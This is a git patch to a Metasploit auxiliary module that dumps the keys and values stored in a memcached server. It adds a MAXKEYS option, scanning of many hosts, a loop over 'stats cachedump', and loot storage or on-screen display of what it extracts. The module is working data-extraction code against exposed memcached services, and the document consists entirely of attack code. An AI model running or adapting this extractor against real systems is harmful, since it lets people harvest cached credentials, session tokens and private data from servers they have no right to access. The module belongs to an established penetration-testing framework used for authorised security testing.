From db3185231a033a30fe1f9772bb78b4d90f7462b0 Mon Sep 17 00:00:00 2001 From: pdeardorff-r7 Date: Sat, 17 Jan 2015 09:25:32 -0800 Subject: [PATCH] add maxkeys option, dont store loot if localhost and improve streaming --- .../auxiliary/gather/memcached_extractor.rb | 46 ++++++++++++++----- 1 file changed, 34 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/gather/memcached_extractor.rb b/modules/auxiliary/gather/memcached_extractor.rb index 5b1230c469..e69d505fce 100644 --- a/modules/auxiliary/gather/memcached_extractor.rb +++ b/modules/auxiliary/gather/memcached_extractor.rb @@ -7,6 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) @@ -16,24 +17,33 @@ class Metasploit3 < Msf::Auxiliary This module extracts the slabs from a memcached instance. It then finds the keys and values stored in those slabs. ), - 'Author' => [ 'Paul Deardorff ' ], - 'License' => MSF_LICENSE + 'Author' => [ 'Paul Deardorff ' ], + 'License' => MSF_LICENSE )) register_options( [ - Opt::RPORT(11211) + Opt::RPORT(11211), + OptInt.new('MAXKEYS', [ true, 'Maximum number of keys to be pulled from a slab', 100] ) ], self.class) end + def max_keys + datastore['MAXKEYS'].to_i + end + # Returns array of keys for all slabs def enumerate_keys keys = [] enumerate_slab_ids.each do |sid| - sock.send("stats cachedump #{sid} 100\r\n", 0) - data = sock.recv(4096) - matches = /^ITEM (?.*) \[/.match(data) - keys << matches[:key] if matches + loop do + sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0) + data = sock.recv(4096) + break if !data || data.length == 0 + matches = /^ITEM (?.*) \[/.match(data) + keys << matches[:key] if matches + break if data =~ /^END/ + end end keys end @@ -76,17 +86,29 @@ class Metasploit3 < Msf::Auxiliary matches[:version] || 'unkown version' end - def run - print_status("#{rhost}:#{rport} - Connecting to memcached server...") + def run_host(ip) + print_status("#{ip}:#{rport} - Connecting to memcached server...") begin connect print_good("Connected to memcached #{determine_version}") keys = enumerate_keys print_good("Found #{keys.size} keys") + return if keys.size == 0 + data = data_for_keys(keys) - rhost = 'localhost.memcached' if %w(localhost 127.0.0.1).include?(rhost) - store_loot('memcached.dump', 'text/plain', rhost, data, 'memcached.txt', 'Memcached extractor') - print_good("Loot stored!") + if %w(localhost 127.0.0.1).include?(ip) + result_table = Rex::Ui::Text::Table.new( + 'Header' => "Keys/Values Found for #{ip}:#{rport}", + 'Indent' => 1, + 'Columns' => [ 'Key', 'Value' ] + ) + data.take(10).each { |r| result_table << r } + print_line + print_line("#{result_table}") + else + store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor') + print_good("Loot stored!") + end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout print_error("Could not connect to memcached server!") end